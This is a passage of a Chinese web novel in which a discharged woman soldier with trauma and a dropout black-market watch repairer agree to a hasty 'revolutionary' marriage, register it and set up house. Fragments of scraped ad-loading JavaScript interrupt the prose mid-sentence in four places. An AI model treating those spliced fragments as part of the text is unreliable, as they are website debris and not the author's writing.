他本就是边缘人,人们对他的批判无处遁形,但他向来对此毫不在意。如果入赘,也不过是在种种‘罪行’之上,再加一条微不足道的指责。
对于婚事,‘嫁’出去,或者娶回家,他不在乎,他一惯乐于挑衅这个社会的常规。
他拿此当筹码,只是因为他不知道拿什么来打动涂翡。
除了好看的皮囊,他没有任何拿得出手的东西。
凭什么选择他?他家庭复杂,只有出身还算干净;他是大学肄业,没有工作,不能吃苦,前途未卜;他还是小混混小流氓,做着不能见光的鬼祟生意……他是一滩烂泥,是可以吞噬光明的沼泽。
他不想下乡,但他也不太想工作。
去行政岗位?汲汲营营,他不屑一顾。
向父亲一样做个工人?日复一日,难以忍受。
或者去当老师?对学生们低声下四?
也许只有结婚是最好的选择。
但他背负的黑暗太多,能信任的人又太少。想到结婚,他脑海里只能想到涂翡一人,她很强大。
但这似乎是个大逆不道的想法。她把他当弟弟,而他却想把她拉入属于池步湘的漩涡。
他知道,她是个强势的人,她可能需要一个柔和一些的伴侣。而他可以对她收起对外御敌的尖刺。
选择涂翡,因为她清楚他的底细,也因为那一丝难以克制的心动。
池步湘没看懂自己。
他并不知道,他是孤注一掷般打通了那个电话。只因为,那是源于他潜意识里的,想拯救自己于黑暗的,拼尽全力的最后一搏。
池步湘努力自荐:“我不在意舆论,你不用怕我后悔。我没工作,但也能挣钱;家庭成分干净,不会拖你后腿;父母我会解决,不会添麻烦;我会孝顺爷爷,照顾家里;我们的孩子”
说到孩子,池步湘咳了声,脸有些发红:“可以姓涂。”
涂翡饶有兴致地看着他害羞垂眸的样子,语气带了一点难以察觉的恶劣:“我是因伤退役,身体又损耗严重,有不孕的可能。”
她没撒谎,军医确实是这么说的。没准的事,她没必要和老涂和秋子说,但若和人谈论结婚问题,这事儿就需要坦白了。
她看着池步湘,等待着他的反应。
她保证,哪怕池步湘后悔,她依旧会实现承诺,把他当弟弟照顾。
池步湘先是震惊,他的瞳孔里映着涂翡那张看似漠然实则恶劣的脸。
但某人隐隐期待的事情并没有发生。
他干净的眼眸颤了颤,所以第一次见面时她才那样枯槁吗?他握紧玻璃杯,沉思片刻,语调依旧上扬,但却很坚定:“我可以不要小孩。”
俩人没说话,气氛说不出来的紧张。
“一号,取菜!”
涂翡大步走到窗口,有一丝逃的嫌疑。
等她端着锅包肉回到座位,已经恢复如常:“边吃边说。”
她不否认,她有一瞬间的慌乱。
只有一瞬间。
因为油的稀缺,国营饭店需要过油的菜做得非常少。但大厨手艺好,遇到好食材更是技痒,哪怕出手不多,这锅包肉依旧做得相当正宗,很舍得下料,糖醋味直冲鼻子。
等她取菜回来的功夫,池步湘已经把她的碗碟涮了一遍水。
涂翡迫不及待地夹了一块金黄的锅包肉,焦脆的口感、酸甜的味道,随着里脊肉的香气在唇齿间盘旋,刚刚出锅的菜肴,牙齿都能感受到那烫意。
涂翡正要夹第二块,池步湘突然开口:“我会做锅包肉,做饭的手艺很不错。”
涂翡夹菜的动作慢了些,她将锅包肉夹进碟子,有些好奇:“如果我不同意,你会找别人吗?”
她见到的池步湘与李步潇口中的弟弟很不相同。但她倒是确信,他的底色是干净的。如果说他纯粹为了不下乡选择入赘,这似乎不太合理。
她总觉得他不是这样的人。
池步湘摇摇头,缓缓开口:“我想不到除了你之外,还会接受谁。你不同意,就试着找工作。找不到就下乡。”
合着还真是为了她。
这感觉倒是有点新奇。她一直很凶,不管是做事,还是打仗训练,都是出了名的刚硬凶狠。在部队那么多男性,但她还真是很少被人纳入择偶范围。
就算有点暧昧的苗头,也很快被她的凶狠呵退了。
更别说这种跟表白差不多的话,这是第一次。
涂翡直截了当:“你知道吧?我精神有点问题。”
她本想过两年再谈婚姻问题的。不是因为生育,而是因为她现在没有任何好转,一个不注意再变成寡妇……
池步湘还没失去理智,他当然全面考虑过:“我知道,你不能受到攻击。但我们可以找到合
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
适的相处方式。”
“目前还有失眠,神经紧张的症状。”
“我会陪你。”
涂翡没再提出问题,但池步湘心却提了起来。
沉默了一会后,涂翡突然开口:“我不需要上门女婿。”
池步湘眼底闪过一丝失望,刚要再说什么,就听这个坏女人再次开口:“不过,我们可以看看,能否组成一个双方平等互相尊重的革命家庭。”
峰回路转,池步湘激动的没拿稳筷子。
老涂这一支,确实只有涂翡一个后辈。但她从没有想过招个上门女婿,她和老涂都是历经无数死劫的人,对子嗣传承没那么在乎。
当然,最主要的一点,涂翡同梁玉秋一样,她们对女性的处境,有着一种超前的洞察力。
她并不喜欢传宗接代这个说法。
对她而言,招男人上门,似乎只是用另一种方式肯定了父权社会的传宗接代。她的孩子,随便姓什么,她自己不求传宗接代,也不要求孩子传宗接代。
涂翡又吃了一块锅包肉,看着池步湘清亮漂亮的眼睛,她笑了笑:“如果有孩子,姓什么我们抓阄。”
她不需要凌驾于伴侣之上,她需要的是同样的权利。
“你生的跟你姓!”池步湘不假思索。
涂翡不纠结姓氏问题,也不一定会有孩子,她说:“工作对我很重要。”
池步湘点头:“我不想工作,但我会照顾家里。”
“我接受。”
池步湘犹豫了两秒:“你对我有什么期待和要求吗?”
他知道自己的秉性,他很难达到世俗意义上的成功。如果涂翡对他有什么期待,他怕是难以做到。
涂翡喝了口热水:“没有,好好活着就行了。”
大概是涂翡太好说话,这让池步湘心底产生了一丝不安。他抿抿唇,强调:“我对婚姻的态度很认真。”
“巧了,我也是。”
这会,地三鲜和酸菜汆白肉也好了,俩人买了米饭。
对于婚姻,他们都很陌生。东一榔头西一棒子的聊着,不甚明朗的局面渐渐稳定显露希望。不过俩人好像都忘了讨论年龄问题,可能是不在意。
菜码很大,但有涂翡在,三个菜基本上都吃了。
池步湘少有的,吃得很香。
涂翡用手绢擦着手指:“什么时候结婚?”
“当然越早越好!”池步湘眼睛很亮:“你答应了?”
“那什么时候办手续?明天周一?”涂翡雷厉风行。
“行!”池步湘一点没觉得不对。
他站起身,有些慌乱地原地转个圈:“那我回去准备准备,明天我来找你去登记!”
大概是怕涂翡后悔,他拿过帽子迅速蹿出了饭店。
涂翡嘴角微挑,不慌不忙地夹起最后一块土豆片,吃掉。
其实,池步湘不知道,在惊艳到涂翡的那一瞬间,他就已经逃不掉了。
.
涂翡回到家,老涂正在外屋地忙活,她抱着肩膀靠在门框上,笑着看他:“我找了个结婚对象,明天就结婚。”
老涂手里铝盆锵在了锅台上,发出刺耳的一声响:“啥玩意儿?爷耳背,你再说一遍。”
“我说给你找了个孙女婿,长得特别好看。”
“你给我找个孙女婿,我理解。涂翡,我就问你,啥叫明天结婚?”涂希芳同志语气严肃。
涂翡不明所以:“就明天去办手续啊!”
20. 登门入室
涂希芳弯腰捡起烧火棍,在外屋地狭小的空间里转了几圈,到底是从小宠到大的孩子,没舍得下手。
最重要的是,他现在也打不过她!
他愤愤地将烧火棍扔一边:“那婚礼呢?彩礼啥的我也不指望你要多少,我就问你,那婚礼呢?你不办婚礼啊?”
现在只能办革命婚礼,流程简单,但那也是婚礼!
说结就结,那他这些年费心费力给涂翡攒的嫁妆算什么?算他白费心思吗?
“还用办婚礼?”涂翡愣了下,那不是发点喜糖,给伟人敬个礼就行吗?若是在战地,只要结婚申请被批,连喜糖都省了。
“废话,你不办婚礼!我怎么收份子!”
他就指望这一把回本呢。
份子啊?涂翡舌尖抵了下腮帮子,这事,确实是她疏忽……
但权衡过后,还是直接办手续比较重要,毕竟这婚结的就是一时冲动。
她沉默片刻,从兜里掏出来一把钱票来:“爷,饭店今天有锅包肉,你去吃吗?再不去就没有了。”
老涂一把捞过,冷哼了一声,扔下灶台上的土豆,进屋拿上大衣就溜达着出门了。
涂翡打量半天,到底没从他的背影里,看出这老头是高兴还是生气。
大概是有这一顿锅包肉的贿赂,说服老涂并没有很难。他在意的,无非是对方是什么人,结婚后怕涂翡过得不好。
但听了涂翡和对方的‘谈判’过程,他又觉得糟心。按照小涂同志的要求,能找个对象,也挺不容易。总归是男大当婚女大当嫁,婚姻这事得看缘分。既然小涂都决定了,那就结呗。
23岁,也不小了。
反正他孙女不是挨欺负的人。
.
池家就没那么和平了。
池步湘到家的时候已经晚上了,白丽娟正在做晚饭,池父坐在饭桌前抿着一小杯白酒。
见池步湘回来,池父不禁皱眉:“下午去哪了?”
池步湘没理会他的质问,看看饭桌:“呦呵,喝得这么起劲儿?一个菜都没有!”
池父瞪了他一眼,早就对二儿子的不着调免疫了,不然得被气死。
他还惦记让他下乡的事,难得好声好气地说:“你张阿姨说的事,你咋想的?他们把咱这一片都走遍了,全是让下乡的。人现在不给分配工作了,知道不?你不下乡咋整?”
坐在池父对面的小丫头正在玩翻绳,听见这话,她放下绳子:“爸,啥是下乡?”
池步湘在桌子侧面坐下,捏了捏小丫头的羊角辫:“你先去屋里玩,二哥和爸有事要说。”
这是家里最小的孩子,去年刚上小学,离下乡还远着呢。
池步央点点头,爬下凳子:“二哥,那你好好说话,不许吵架!”
“二哥知道。”
小丫头不太信,但还是回屋了。
这回客厅只剩下父子俩人。池步湘拿过桌上池父的烟盒,从里面抽出一支,叼在嘴里,划了跟火柴,点燃香烟。
他晃动手腕将火柴熄灭,接着吸了一口,烟尾瞬间燃烧成明亮的橘黄色。
他将烟翻转了一圈,递给池父:“爸,抽烟。”
池父顿了下,接过烟,低声咒骂了句:“奶奶的,这学白念了。”
语气不乏惆怅。
池步湘开口:“爸,我不下乡。”
“那你干啥?”
“我结婚。”
一阵沉默过后,池父直拍桌子:“就为了不下乡?”
“不全是。”
池父不信:“你这是逃兵,你知不知道?完犊子玩意儿,我告诉你,你别想!组织让你去哪你就去哪!”
见池步湘没个反应,池父用手指上下点着他,继续吼:
“你看看你,没个工作,肩不能挑手不能抗,天天和那些不三不四的人鬼混。家都养不了,谁跟你结婚?先立业再成家,我都不好意思叫媒婆来给你相看!这么多年也没见你和哪个小姑娘走得近……”
池父拍着桌子:“还结婚,谁跟你结啊!你有那能耐?”
池步湘往后躲了躲,生怕被吐沫星子喷到。
直到池父的咒骂结束,他勾了下嘴角:“确实没那能耐,所以我吃软饭。”
“哎呦我草!你这小兔崽子鸟语花香鸟语花香鸟语花香”
正在池父弯腰拖鞋的功夫,池步央从门后探出来脑袋:“二哥,啥叫吃软饭?”
池步湘嘴角一抽:“等你遇到就知道了。”
厨房的白丽娟高喊:“池步湘!别教坏小妹!池步央!回屋呆着!”
这一嗓子,叫回了池父的理智,他呼哧带喘地重新坐下,将烟往桌上一扔:“还吃软饭,我告诉你,门都没有!”
池步湘手肘搁在桌子上,双腿交叠悠悠地晃荡着,丝毫没被池父的怒气影响:“这些年我也认识了不少人,工作找不着,但只要我不想下乡,谁拿我都没办法。”
“您想好,我要是不结婚,可天天吃您老的粮、喝您老的酒。你要是给我放出去吃软饭,也省了家里的开销。你和妈天天工作也挺累的,还得给三弟攒彩礼呢。”
池步湘拿过烟盒,又抽出来一支,也不点火,就放嘴边叼着。
“你就这么想老子?这么多年,老子是短过你吃,还是短过你穿?”池父愤怒,但又没那么愤怒。
毕竟养家活口,生儿嫁女都是很现实的问题。池步湘某种程度说到了他的心坎里。这老二不找工作,就这么吃着家里的,可一点没见愧疚!
至于儿子这些针锋相对的冒犯之语……他习惯了。
池步湘继续说:“我想结婚,您也挡不住我。那户口本你藏哪儿我都能给找出来,就算找不出来,我去派出所重开一本行不行?
我结婚是一定的,既是既定的事实,咱也别费那个劲儿了,你给我户口,我明天就去和人家办手续。”
“再说,好不容易有人愿意接手我这个麻烦,您就庆幸去吧。我可提醒您,过了这村,没有这店。”
.
涂翡做事有一个原则,事以密成,语以泄败。
结婚这事来得急,她和池步湘都有点担心对方会反悔。涂翡本想等手续办完,再告诉其他人。
但她没想到的是,她的保密原则,被另一个当事人打破了。
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
周一。
涂翡照例起得早。
热身后,打了两套捕俘拳。她有精神问题,没法去派出所训练场和人一起训练,怕暴露。但没有力量训练,总是差点意思。
哪怕她已经见缝插针的在训练了。
她站在院子里,顶着冷风,正琢磨在哪安个沙袋,胡同里传来轱辘轱辘的马车声,最后停在了她家大门外。
有人上前敲门。
看见她在院子里,来者兴奋地开口:“涂翡,是我!”
是池步湘。
涂翡抬眼看着遥远的天际,只露了一条白光。
打开大门,就看见穿得格外严实的池步湘,他带了一顶白色长毛的雷锋帽,围着白围巾,露出一双笑弯了的眼睛,长而卷翘的睫毛挂了白色的冰碴。
他挎着装着早餐的菜篮,带着手闷冲涂翡挥了挥手。
涂翡从那张笑容灿烂的脸上移开视线,看向他身后的马车。
拉车的马是漂亮的枣红色,它站在皑皑白雪中嘶叫了一声,甩了下柔顺蓬松的马尾,低头吃起袋子里的草料,张嘴吐出来的热气在空气中化成了白雾。
而它身后的板车上,放着池步湘的行李,几个木头大箱子,用网格兜装着的水盆牙缸……还有一卷新的厚实的红色被褥。
涂翡一时无言。
这人要直接登门入室。
果然,装得再乖,也难掩……痞子作风。
大概是看出了她在想什么,池步湘从大衣的内侧抽出来户口本,在涂翡眼前晃了一下:“今天我们就是合法的革命夫妻了。”夫妻住在一起才正常!
实际上,他是怕涂翡后悔。
“……进来!”
池步湘是第一次来,他对宁罗胡同24号的一切都很好奇,进了院就忍不住四下张望。
这以后也是他的家了。
而涂翡深切地意识到,她确实是要结婚的人了。她这结婚速度比东风导弹都快。
她感叹着,和池步湘介绍:“这是下屋,冻货和蜂窝煤都在里面。西屋是我爷在住,估计他快起了。东屋是我们的房间,东西先搬进去吧。”
涂翡把大门彻底打开,将嚼着草料的枣红色骏马牵进院子,顺手摸摸马头,马乖乖地任她抚摸:“这马养得好,哪来的?”
池步湘重新将大门关好:“借一个朋友的,不着急还。”
他要结婚了,自然要把家底都搬进新家。
就是他家底有点沉有点大,涂翡和他一人抬着一边,废了点劲儿才把大箱子抬进东屋。
涂翡敢打赌,这么沉,肯定不值钱。
俩人的搬家动静把邻居们吵了出来,池步湘笑意满满地宣布:“今天我和涂翡结婚!以后还请诸位多多关照!”
而这栋小院的主人是最后看见人的,他站在窗前,一脸蒙登地看着外面搬东西的池步湘。直到打了个喷嚏,他才清醒过来,想起了昨天孙女和他说的孙女婿。
他砸吧砸吧嘴,确实好看,不怪他孙女看上人家。
但问题是,这看起来不太好养!
瞧瞧那顶白色长毛的狐狸毛帽子,啧,娇贵。
21. 共同奋斗
等俩人搬完东西,老涂已经穿戴好了。他打开房门,本想说点好话,但憋了半天,最后阴阳怪气地询问:“不是今天才去办手续?你俩可别被人说非法同居,报告到革委会去。”
“爷爷,那不能!”池步湘一点不拘谨,眼睛里的笑意依旧灿烂:“等我们今天领了证,就把证书贴咱家墙上!”
一句咱家,瞬间让老涂心情舒畅。
管他好不好养的,这结婚以后住家里啊!
难养咋了,他和孙女一起养!
“爷爷,我给你带了一瓶茅台!今天是我和阿翡的大日子,咱晚上尝尝?”池步湘有一张既能气人又能哄人的嘴。
压根没用涂翡开口,那嘴跟抹了蜜一样,哄得老涂眉眼间都是笑意。
老涂正要笑,一转头瞥见自家孙女那满是调侃的眼神,他秒变严肃:“想喝酒,那也得把手续都办完才行!”
老涂进外屋地洗脸,涂翡走上前放炕桌,路过池步湘的时候,歪头在他耳边低声说:“小嘴挺甜。”
早已习惯了见人说人说见鬼说鬼话的池步湘突然脸颊爆红,一直到三人坐在炕桌前,他也没敢直视涂翡。
结婚报告涂翡昨天也写了一份,但显然用不上了。因为池步湘已经写了一份报告,已经让街道办盖了章。这一大早的,也不知道他是怎么做到的。
不管是昨天,还是今早,他肯定是占用了人家的上班时间。
结婚的手续有些繁琐,申请报告上已经有了一个章,除此之外,还得有涂翡单位的公章、劳资股、人事股的章。五个盖齐,才能去民政局领结婚证。
而有了结婚证,还需要过户和迁粮食关系。
涂翡有工作,户口落在了镇北派出所,因为方便,池步湘的户口也会迁到她的户口本上。
今天的镇北派出所将是忙碌的一天,因为所有的外勤人员都要去江大。没有治安股的镇守,怕是又要打起来。
涂翡得早点去派出所,让马所长批准她结婚并盖章。剩下的章就好说了,文职办公室都不参与这次执勤,她很快就能把章盖全。
涂翡依旧是一身警服,池步湘则把那顶好看的白帽子摘了,换了一顶普通的雷锋帽。
涂翡不解:“怎么换帽子了?”
池步湘耳朵微红,嘴上说的情话却有点轻浮:“那是特意给你看的,出门就不找麻烦了。”
趁着天黑人少,戴给她看。
涂翡琢磨了下这句话,笑了。合着他知道自己戴那顶白帽子多好看啊。
池步湘追问:“你笑什么?”
“我在后悔,没多看几眼。”
池步湘耳朵红透了:“那以后有机会戴给你看。”
不能戴得太勤,不然她就不稀罕了。
.
到派出所的时候还早,但很多警员们已经在食堂吃早餐了。涂翡问过才知道,不止是警员们加班,昨天马所长和分配办的同志商议得太晚,连家都没回。
见到池步湘这个生面孔,很多人问他是谁,涂翡也不隐瞒:“我们来办结婚手续,办完请大家吃喜糖。”
收获了不少道贺后,涂翡打包了几个包子,和池步湘一起上了二楼。
所长办公室的门开着,马所长正坐在办公桌后面抽烟,见涂翡敲门,他把烟掐了:“怎么来这么早?”
涂翡笑着把饭盒递过去:“听说所长鞠躬尽瘁连家都没回,给你送早餐来了。”
马所长也不客气,拿过一个包子咬了口,白菜粉条的,还放了点猪油渣,香!
他看了眼池步湘,又看向这位公事公办、没事绝不找他、对詹乐贤都没个好脸色的涂档案员:
“我可不吃这一套,有啥事赶紧说。”
池步湘将结婚报告打开,放到马所长跟前,像模像样地敬了个礼:“所长好,我和涂翡同志申请结婚!”
万万没想到是这个事的马所长呛了一下,顺了顺气,他用手指虚点了几下涂翡:“怪不得这么早,来堵我的!”
涂翡虽是未婚,但来所里半个来月,大家都默认了她这铁树的气质。所里这么多未婚的男青年,她一个适龄女同志,硬是没擦出一丁点的火花。
有人想给她介绍对象,她说再等几年,她要把青春热血奉献给祖国。
这还咋劝?就是关心所有未婚男女婚事的妇女主任也束手无策啊?
涂铁树一大早领着个好看的小伙来找他,他还以为有啥事求他呢,结果是开花了。
不可思议啊!
马所长瞄了一眼申请书,看到了最重要的一句话:涂翡和池步湘愿结为伴侣,为家庭幸福和社会主义建设共同奋斗。
虽然今天事紧,但也没直接就盖章的说法,马所长用有些压迫感的眼神打量着这个盘靓条顺的青年,见对方没有任何瑟缩,他满意地开口:“户口呢!”
别说是涂翡这个他有点特殊关照的退伍伤兵,就是食堂里的打扫工、食堂的李婶,被人娶走他都得过问把关!
当然,他最要关注的是政治身份问题,这是个大事。只要不是坏分子,他基本直接通过。
他官再大,还能管人家小年轻恋爱结婚啊?
池步湘将户口本递过去。
呦呵,知识青年,20岁,刚过了结婚年龄。
这前天刚开完会,今天就结婚?
马所长本想说再问几句,但他视线在涂翡和池步湘之间徘徊着,意外发觉这俩人还挺般配的。
“你俩决定好了?”
“是。”俩人同时回答。
马所长点点头,在申请书上盖了红印。
有马所长的同意,剩下的手续就好办多了,在所里走一圈,结婚申请的章就盖齐了。俩人拿着到了民政局,成功得到一张像奖状一样的结婚证。
凭借结婚证,俩人还领取了一个暖瓶、一床棉被。领取之后,工作人员在结婚证上盖了‘已领’。
户籍股也在忙,但他们不是一直忙。
趁着老秦有空,涂翡和池步湘把户口粮食关系迁好。不出意外,得了老秦没好气的抱怨:“我老秦一大把年纪了,没想到还能调到户籍股发光发热!”
他想骂老马不办人事…
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
…但这不是不敢吗?
涂翡一点不介意,掏出来几颗水果糖递给他:“吃喜糖!”
这一天的手续办下来,哪怕再麻烦也没影响他俩的心情,喜糖撒了一路。她给每个办公室都送去了一小把,哪怕是政保股。
得了一路的贺喜,和一些计生用品——妇女主任给的,节制生育从干部做起。
这一天,涂翡的户口本上多了一个人。
对这俩叛逆的人来说,婚礼并不重要,领证的时候已经给伟大领袖敬过礼,这婚就结完了。反正办完手续,就无法反悔。
.
动员大会热火朝天。政保股是主要动员人员,詹乐贤他们已经做惯了思想工作。
江大革委会则作为辅助宣传。学生们用彩色的方形纸角粘着角,连成横幅,上面写着各色标语,比如广阔天地大有作为、服从分配听指挥。
在国旗升降台上,学生们正踊跃发言。
秦硕得到同意,爬了台,与上一个演讲人擦肩而过。
他看着台下挤挤挨挨的人头,激动地深吸了两口气,然后高声大喊:“保卫祖国,建设边疆!作为新时代的年轻人,我们是早晨八九点钟的太阳,是祖国的未来!
我们年轻人,要到祖国广袤的土地上去,要到祖国最需要的地方去!我愿意用我的青春、我的热血把革命的火种播撒到祖国的每一寸土壤!我愿意用我的生命,去捍卫我们的祖国!
广阔天地,大有作为!”
全校的学生都汇聚到操场,听着台上的发言,他们举着拳头,眼神明亮,齐声高喊:“广阔天地,大有作为!”
那是一种热浪,明媚积极向上的狂潮热浪。
奉献,为了祖国,他们可以奉献生命。
涂翡和池步湘站在江大的铁栅栏外,和其他市民一起围观这场动员大会。他们迁完了粮食关系,离江大不远,就过来看看情况。
那些激昂的情绪刺伤了池步湘,他甚至有点后悔在结婚当天来学校看热闹。他想挡住涂翡的眼睛,他怕她发现比起那些年轻人,他是如此的……不堪。
他看着涂翡,但没从那张脸上看出任何情绪。
涂翡察觉身旁人的注视,转头看向他,池步湘眼中的担心瞬间消失,换成了灿烂明媚的笑脸。
涂翡看着池步湘,视线不自觉地落在了那张红润的嘴唇上。
“有什么感想?”唇线清晰唇珠饱满的嘴唇翕动着。
涂翡移开视线,看向国旗台:“他伤好得挺快。”
这个回答完全在池步湘的意料之外,他眨了下眼睛,看向升降台,这才想起第一次见面那天的事:“哦,对,你打的。”
尾音上扬又混沌一团,模模糊糊的,让涂翡的眼睛微眯。
池步湘慢一拍反应过来,自己说了多不合时宜的话。
他躲开涂翡有些危险的眼神,捏住她的衣角,晃了晃:“动员大会也没出什么乱子,别看了,怪冷的……咱回去吧?”
这缱绻上扬的语气,听得涂翡手发痒。
只是耳朵莫名也有点热。
22. 不会后悔
回去的路上,池步湘给涂翡讲他上学时候的事:“那是江大图书馆,以前我总去。不过书还没看几本就被封了,他们把违禁品都锁进了图书馆,天天派人把守,不过据我所知,很多学生都溜进去偷过东西。”
“学校北面就是江,我们冬天有节体育课,在那教滑冰。不过报名的人太少,滑冰课始终没正经上过。教课的老师是个物理老师,不开课他就自己去滑。结果有一次掉冰洞里了,差点没上来……后来他把冰鞋送给了我,在箱子里呢,你想玩吗?”
一直听他讲故事的涂翡突然开口问道:“后悔吗?”
后悔什么?
后悔没读完大学、没参与革命、没和同龄人一起去建设祖国。
有些事情,也许不喜欢,但不去做就会后悔。
涂翡只说了三个字,池步湘却懂了:“不后悔。我只是怕你后悔。”
“不会后悔。”
池步湘眼底的乌云彻底散去,嘴边挑起了笑意。
.
老涂新得到的茅台到底没能多存两天,池步湘如愿把结婚证书装裱挂在了墙上。
持证上岗,池步湘非常光明正大地入住了涂家。
忙活了大半日,涂家也不拘泥时间,天色偏黑的时候,开启了庆祝的中晚餐。
菜肴是从国营饭店买回来的,算上红肠和从副食品商店买的卤货,总共六个菜。其余的,老涂囤了一冬天的花生瓜子也都拿了出来。
有些奢侈,但今天是俩人结婚的日子,这些也就不算什么了。
只是短暂的相处,老涂对池步湘这个孙女婿已经相当满意。
虽然老涂说了很多冠冕堂皇的喜爱理由,但涂翡觉得,老涂态度改变这么大,是因为池步湘对他的收音机下手了——经过他短短几分钟的拆卸安装,老涂的收音机多收了好几个台。
俩人忙着互相吹捧,只有涂翡在嚼着花生,喝着酒。
正说得开心,老涂突然想起什么:“小湘啊,你那个有点出格的小生意,能不做就不做了吧?反正小翡的工资也够花……”
有点出格的小生意?
池步湘吓了一跳,他看向涂翡,用眼神询问:你都和爷爷说什么了?
涂翡耸耸肩:知道的都说了。
池步湘满眼狐疑:这是能说的?
也不怪他没反应过来,实在是老涂这个说辞一点不中肯。被抓到就可能枪毙的行为,能叫有点出格的小生意?
涂翡和老涂说他修表、倒卖,一是告诉老涂池步湘有一技之长,二是让老头有个心理准备,做好保密措施。
池家就这两个屋,还都是多功能的,但凡大意点,他就藏不住。
平时还得老涂掩护。
她不担心老涂,那是老革命。
再说,有句话说得好,人老精,马老滑,兔子老了鹰难拿。
池步湘得到涂翡的暗示后,惊讶于老涂的反应。对于他那不能见光的事,对方除了担心外竟有些纵容。
如果是他爸知道了他投机倒把,大概能亲自把他这个危险分子押送到警局去。
好吧,这话,是有点夸张。
但他爸确实会采取雷霆手段,来消灭他这个阶级敌人。
.
喝了不少酒,饭后俩人小憩了会,等酒醒了,俩人开始收拾池步湘带过来的几个大箱子。
东屋很大,一进门是一大片空地,地面铺着青色方砖,窗下摆着一张方桌和几张椅子。素青色的薄窗帘直不楞登地垂着,没有一点美感。
西北角一张能睡三四个人的大火炕。东墙前靠着一整排家具,立柜、储物柜、书架、写字台、置物架……这一套算得上精美。是涂翡的军医奶奶娄玉漪淘换的,几十年前的老物件。
这不常见,在这个物资匮乏的年代,为了让全国人民都吃饱饭,大家使用的东西都以实用为主。
池步湘对涂翡的一切都很好奇,他认真看过西屋墙上的每一张荣誉证书。而此时,他又聚精会神地、一寸不落地研究着新家。
书架上摆着□□、字典、几本合格的书籍和一盏汽灯。
书桌的前墙贴了不少‘画作’,稚嫩的、特别的、形象的……偶尔还穿插着乱中有序的钢笔字,作为背景,很有艺术感。
他拉开台灯开关,灯光闪烁,从这堵满是涂鸦的墙前,似能看到一个人长大的种种痕迹。
池步湘笑:“这个鸭子画得好像!”
涂翡站在他旁边,看向他手指的方向,冷漠地开口:“那是鸡。”
“哈哈,对不起!”
道歉不怎么真诚。
.
涂翡的东西并不多,比起池步湘那几个大箱子,只能算是零头。这房间干净简洁,在强调实用性的同时,偶尔会流露出一丝丝情趣。
俩人把箱子池步湘的箱子拆开,他的东西也初露端倪。
日用品和衣物、奇形怪状的木质机械摆件、成堆的修理工具、还有用一个个小盒子分装的重要物品,其中就包含了那双冰刀鞋。
衣服放进涂翡的衣柜,工具和盒子放进储物柜。玩具被池步湘摆在了书架和置物架上,这房间瞬间变得稀奇古怪起来。
房间有种被另一个人入侵的错觉。
不令人讨厌,因为这人有趣、干净,还漂亮。
这几个像嫁妆箱子一样的木头箱放进了下屋,据说有防虫防潮的功效,平日可以当做储存箱用。涂翡决定再买干货就往这里面存。
处理好这些,就只剩下一点需要藏的东西,钱票证件和数本物理书。
结婚是人生大事,尽管涂翡内心离经叛道,但若不出现大的变故,她做好了择一而终的心理准备。而彼此信任,是婚姻的第一步。
她打开衣柜,这扇门里的衣服是挂着的。她将所有衣服滑向一侧,露出衣柜的底面,她手指沿着边缘微微用力,木板被拿了下来,里面正是立柜的底座空间。
一些证件和钱票都放在这里面。
涂翡的钱大部分存进了银行,只在外留了一千块存货、应急。
也就是她这样没有家庭要养的远征军才能存下这一大笔钱,事实上一家能有个几百元存款那都是非常富庶的人家了。
池步湘的小钱箱有点凌乱,俩人盘着腿在炕上相对而坐,整理钱票。涂翡的钱可以存进银行,他就不能了,若是让小将们抓到把柄,至少得让他写一寸高的交代材料。
他都是狡兔三窟,藏在阁楼
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
的各个地方。
这回他把钱都挖了出来,也不清楚有多少。
很快,一张张大团结和各种小票被整齐的放在了一起,一沓钱,有700多。他的票也不少,不过常用的不多,都是些大件的票,比如外汇票、手表票。
挺有钱,不正经生意就是来钱快。涂翡在心里评价。
池步湘乖乖将钱递给涂翡:“我的钱都在这了。”
涂翡拍拍这小木箱,不得不说,池步湘虽没她有钱,但他带来的这些木箱子都是好东西。
她决定继续使用这小箱子,接过钱,数出来六百放过去,其余的又塞给池步湘:“这些留外面备用。”
池步湘拿着钱不明所以,100多块钱留着备用?
这败家女人!
不过想想对方能直接掏出来一百块钱给他当手表钱,也就不怎么奇怪了。
涂翡把自己的钱票存折也拿出来,挨个和池步湘说了说,最后也放进了箱子。
“我工资每个月70元,以后都交给你。平时你做主,如果需要大花销,我们一起商量。”
她又想了想:“如果爷爷给你钱你就收着,如果他不给,他平时会往家里买东西。”
“哦,行!”
池家是白丽娟管钱,池步湘手里有钱还是这两年的事。但他平日没法光明正大的花销,这回突然要管一家子的吃穿住行,他跃跃欲试。
媳妇有钱,他更快乐了。
哪怕池步湘的修表生意完全不开张,70块也足够一家三口日常花销,甚至很富裕。
涂翡不担心池步湘做不好,不会就慢慢学,只要他想管好这个家,那她就放心。
她知道自己在钱的方面不太会算计,她能攒下这么多钱,无非是花不出去,又没什么太大物欲。只有吃穿,但凡条件允许她都会满足自己。
她和老涂俩人的时候,可以随她大手大脚的花。但现在多了个人,她就不能那么放任自己了。
就是不知道池管家的管家技能如何。
“那书呢,书也藏这里?”池管家还没意识到涂翡的怀疑,他的语调相当欢快。
涂翡听着,也觉得愉悦。
她在池步湘眼前打了个指响,眼角带了丝笑意:“认真看着。”
她将底座清空,将衣服滑向另一侧。手抵住木板边缘,用巧劲按了三下,木板被像有机关一样,平移着滑开。
池步湘赞叹:“高明!”
谁能想到,藏着最重要东西的暗格里还有一处暗格?
木板下镶嵌了一个防潮的箱体,内部用特殊的布料包裹着。箱里装着一个首饰箱、一些书、一本相册、一些信件。
涂翡压低声音:“还有些不常用的东西,藏在别处。如果你有藏不了的,你找我爷,他有办法。”
池步湘应下。
看着涂翡的藏书,他伸出手,小心滑过那一排书脊。
“真不错。”池步湘赞叹后,突然又有点茫然起来,他像是自然自语,轻轻问:“读书,还有用吗?”
大概是那语气太轻,涂翡靠着他坐在地砖上,认真想了想才开口答道:“如果你指的是这个社会还需不需要知识份子的话,我的回答是:需要。”
23. 做吗
池步湘猛地看向她。
